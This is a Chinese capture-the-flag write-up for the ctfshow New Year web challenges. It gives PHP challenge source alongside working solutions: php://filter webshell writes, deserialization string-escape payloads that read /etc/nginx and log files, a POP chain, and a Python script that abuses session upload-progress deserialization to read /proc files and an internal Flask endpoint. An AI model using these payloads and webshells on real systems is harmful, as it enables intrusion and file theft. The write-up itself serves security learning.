前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ctfshow 新春欢乐赛

ctfshow 新春欢乐赛

原创
作者头像
c2k2o6
发布2022-02-13 15:09:37
1.1K0
发布2022-02-13 15:09:37
举报
文章被收录于专栏:c2k2o6c2k2o6
  • ctfshow 新春欢乐赛
    • web1 
    • web2 
    • web3 
    • web4  spl_autoload_extensions
    • web5 
    • web6 
    • web7  pop python php_serialize upload_progress phpsession反序列化
    • 热身 

ctfshow 新春欢乐赛

https://bbs.ctf.show/thread/83 https://blog.csdn.net/Little_jcak/article/details/122819006 https://blog.csdn.net/qq_46241655/article/details/122776783

web1 

代码语言:javascript
复制
highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);



<?php phpinfo();eval($_GET[1]);?>


?content=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbMV0pOz8%2B/../t2.php

https://xz.aliyun.com/t/8163 https://blog.csdn.net/Zero_Adam/article/details/116170568

web2 

代码语言:javascript
复制
highlight_file(__FILE__);
session_start();
error_reporting(0);

include "flag.php";

if(count($_POST)===1){
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                echo $flag;
        }
}
?>


cookie
PHPSESSID=HappyNewYear

post
session_id=session_id

web3 

代码语言:javascript
复制
highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key =  call_user_func(($_GET[1]));

if($key=="HappyNewYear"){
  echo $flag;
}

die("虎年大吉,新春快乐!");


?1=session_start

/?1=ob_start

web4  spl_autoload_extensions

代码语言:javascript
复制
highlight_file(__FILE__);
error_reporting(0);

$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

die("虎年大吉,新春快乐!");



?1=spl_autoload_extensions

生成
.inc,.php

web5 

代码语言:javascript
复制
include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);



256 * 1024 *1024/ 128 /4 "hu"


https://bbs.ctf.show/thread/comment/249?threadId=83

web6 

代码语言:javascript
复制
 <?php

error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];

function filter($img){
    $filter_arr = array('ctfshow','daniu','happyhuyear');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION['function'] = $function;

extract($_POST['GET']);

$_SESSION['file'] = base64_encode("/root/flag");

$serialize_info = filter(serialize($_SESSION));

if($function == 'GET'){
    $userinfo = unserialize($serialize_info);
    //出题人已经拿过flag,题目正常,也就是说...
    echo file_get_contents(base64_decode($userinfo['file']));
} 



?POST=GET

GET[_SESSION][ctfshow]=;s:1:"1";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}

读取
/etc/nginx/nginx.conf




读取
/var/log/nginx/access.log
L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==
GET[_SESSION][ctfshow]=;s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}




http://127.0.0.1/ctfshow

aHR0cDovLzEyNy4wLjAuMS9jdGZzaG93
GET[_SESSION][ctfshow]=;s:1:"1";s:4:"file";s:32:"aHR0cDovLzEyNy4wLjAuMS9jdGZzaG93";}

web7  pop python php_serialize upload_progress phpsession反序列化

代码语言:javascript
复制
 <?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();

if (isset($_GET['phpinfo']))
{
    phpinfo();
}
if (isset($_GET['source']))
{
    highlight_file("class.php");
}

$happy=new Happy();
$happy();
?>
Happy_New_Year!!!




class.php

<?php
    class Happy {
        public $happy;
        function __construct(){
                $this->happy="Happy_New_Year!!!";

        }
        function __destruct(){
                $this->happy->happy;

        }
        public function __call($funName, $arguments){
                die($this->happy->$funName);
        }

        public function __set($key,$value)
        {
            $this->happy->$key = $value;
        }
        public function __invoke()
        {
            echo $this->happy;
        }


    }

    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;
        private $_New_;
        function __construct(){
                $this->daniu="I'm daniu.";
                $this->robot="I'm robot.";
                $this->notrobot="I'm not a robot.";

        }
        public function __call($funName, $arguments){
                echo $this->daniu.$funName."not exists!!!";
        }

        public function __invoke()
        {
            echo $this->daniu;
            $this->daniu=$this->robot;
            echo $this->daniu;
        }
        public function __toString()
        {
            $robot=$this->robot;
            $this->daniu->$robot=$this->notrobot;
            return (string)$this->daniu;

        }
        public function __get($key){
               echo $this->daniu.$key."not exists!!!";
        }

 }
    class Year{
        public $zodiac;
         public function __invoke(){
            echo "happy ".$this->zodiac." year!";
        }
         function __construct(){
                $this->zodiac="Hu";
        }
        public function __toString(){
                $this->show();
        }
        public function __set($key,$value){#3
            $this->$key = $value;
        }

        public function show(){
            die(file_get_contents($this->zodiac));
        }
        public function __wakeup()
        {
            $this->zodiac = 'hu';
        }

    }
?>
代码语言:javascript
复制
<?php
    class Happy {
        public $happy;
    }

    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;

 }
    class Year{
        public $zodiac;

    }

$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
var_dump(serialize($a));

?>
代码语言:javascript
复制
session.serialize_handler
Local Value是php,Master Value是 php_serialize

session.upload_progress.cleanup	Off	Off

phpsession 反序列化漏洞


# coding:utf-8
import requests
import time

def get_file(filename):
	data="""------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\"
Content-Type: text/plain


------WebKitFormBoundarytyYa582A3zCNLMeL--"""
	r=requests.post(url='http://7f8f250e-73a3-4e23-94b3-62fe03cbba59.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=iot4d3hd1isme3q26hl49361rk'})
	return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00

for i in range(999):
	print(i)
	print(get_file('/proc/'+str(i)+'/cmdline'))
	time.sleep(0.2)


114
python3
/app/server.py

0是stdin 1是stdout 2是stderr,fd号可以从3开始尝试
代码语言:javascript
复制
# coding:utf-8
import requests
import time


def get_file(filename):
	data="""------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\"
Content-Type: text/plain


------WebKitFormBoundarytyYa582A3zCNLMeL--"""
	r=requests.post(url='http://7f8f250e-73a3-4e23-94b3-62fe03cbba59.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=iot4d3hd1isme3q26hl49361rk'})
	# return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00
	return(r.text)#去掉源码信息,encode是为了能显示\00

# for i in range(999):
# 	print(i)
# 	print(get_file('/proc/'+str(i)+'/cmdline'))
# 	time.sleep(0.2)

print(get_file("http://127.0.0.1:5000/download/?filename=/proc/self/fd/3"))
代码语言:javascript
复制
from flask import *
import os

app = Flask(__name__)
flag=open('/flag','r')
#flag我删了
os.remove('/flag')

@app.route('/', methods=['GET', 'POST'])
def index():
	return "flag我删了,你们别找了"

@app.route('/download/', methods=['GET', 'POST'])
def download_file():
    return send_file(request.args['filename'])


if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)



http://127.0.0.1:5000/download/?filename=/proc/self/fd/3

热身 

代码语言:javascript
复制
eval($_GET['f']);

查看phpinfo

auto_prepend_file

?f=file_put_contents("1.php","<?php eval(\$_POST[1]);phpinfo();?>");

蚁剑连接

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ctfshow 新春欢乐赛
    • web1 
      • web2 
        • web3 
          • web4  spl_autoload_extensions
            • web5 
              • web6 
                • web7  pop python php_serialize upload_progress phpsession反序列化
                  • 热身 
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档